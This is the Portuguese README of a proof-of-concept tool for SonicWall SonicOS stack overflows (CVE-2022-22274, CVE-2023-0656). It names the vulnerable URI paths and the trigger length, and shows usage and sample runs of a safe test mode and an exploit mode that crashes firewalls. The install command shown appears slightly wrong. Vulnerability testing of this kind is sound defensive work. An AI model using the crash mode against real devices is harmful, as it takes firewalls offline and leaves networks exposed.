
Exploit de prova de conceito para estouros de buffer baseados em pilha do SonicWall SonicOS (CVE-2022-22274, CVE-2023-0656) através de requisições HTTP manipuladas, permitindo testes seguros ou exploração de falhas de firewalls vulneráveis.

Em 24 de março de 2022, a SonicWall publicou um aviso com os seguintes detalhes:
Uma vulnerabilidade de estouro de buffer baseado na pilha no SonicOS via requisição HTTP permite que um atacante remoto não autenticado cause Negação de Serviço (DoS) ou potencialmente resulte em execução de código no firewall.
NOTA: Esta vulnerabilidade afeta APENAS a interface de "gerenciamento web", a interface SonicOS SSLVPN não é afetada.
Em 2 de março de 2023, a SonicWall publicou outro aviso, semelhante:
Uma vulnerabilidade de estouro de buffer baseado na pilha no SonicOS permite que um atacante remoto não autenticado cause Negação de Serviço (DoS), o que pode fazer com que um firewall afetado trave.
NOTA: Esta vulnerabilidade afeta APENAS a interface de "gerenciamento web", a interface SonicOS SSLVPN não é afetada.
Ambos os problemas estão relacionados ao mesmo padrão de código vulnerável e usam a mesma carga de exploração, mas são acionados em diferentes caminhos de URI.
O estouro de buffer é acionado através de uma requisição HTTP com um caminho de URI com mais de 1024 caracteres. CVE-2022-22274 pode ser explorado em /resources/ ou no caminho de URI do Advanced Threat Protection (/atp/ se ativado ou // se desativado). CVE-2023-0656 pode ser explorado em /stats/ ou /Security_Services.
Este repositório contém um script de prova de conceito para testar um alvo quanto à explorabilidade em todos os quatro caminhos de URI. Ele realiza um teste seguro por padrão, mas tem a capacidade de explorar as falhas e travar o alvo também.
NOTA: Na configuração padrão, 3 travamentos consecutivos em um curto período de tempo farão com que o SonicOS reinicie o dispositivo em modo de depuração e ele ficará inacessível até que um administrador o recupere. Use com responsabilidade!
Instale o Python 3 e execute python -m pip install -y argparse.
usage: poc.py [-h] [-t] [-x {1,2,3,4,5}] [-s] target
positional arguments:
target hostname[:port] (port defaults to 443)
options:
-h, --help show this help message and exit
-t, --test safely test for vulnerability (default action)
-x {1,2,3,4,5}, --exploit {1,2,3,4,5}
exploit the target (trigger a crash). 1=/resources/ 2=// 3=/atp/ 4=/stats/ 5=/Security_Services
-s, --skip-header-check
skip initial check for SonicWALL response header
Testar um alvo vulnerável:
$ ./poc.py 192.168.50.29
[*] Checking https://192.168.50.29:443
[+] Confirmed target is running SonicOS
[*] Testing CVE-2022-22274 at /resources/
[+] Target looks vulnerable! (redirected)
[*] Testing CVE-2022-22274 at //
[+] Target looks vulnerable! (redirected)
[*] Testing CVE-2022-22274 at /atp/
[-] Target does not appear to be affected (HTTP 404)
[*] Testing CVE-2023-0656 at /stats/
[+] Target looks vulnerable! (redirected)
[*] Testing CVE-2023-0656 at /Security_Services
[+] Target looks vulnerable! (redirected)
Explorar um alvo vulnerável:
$ ./poc.py -x 1 192.168.50.29
[*] Checking https://192.168.50.29:443
[+] Confirmed target is running SonicOS
[*] Triggering exploit at /resources/
[+] Exploit succeeded! (target unavailable)
Testar e explorar um alvo corrigido:
$ ./poc.py -tx 4 192.168.50.31
[*] Checking https://192.168.50.31:443
[+] Confirmed target is running SonicOS
[*] Testing CVE-2022-22274 at /resources/
[-] Target appears to be patched (empty response)
[*] Testing CVE-2022-22274 at //
[-] Target appears to be patched (empty response)
[*] Testing CVE-2022-22274 at /atp/
[-] Target does not appear to be affected (HTTP 404)
[*] Testing CVE-2023-0656 at /stats/
[-] Target appears to be patched (empty response)
[*] Testing CVE-2023-0656 at /Security_Services
[-] Target appears to be patched (empty response)
[*] Triggering exploit at /stats/
[-] Exploit failed (target responded)
Este projeto está licenciado sob a licença GNU GPL 3.0.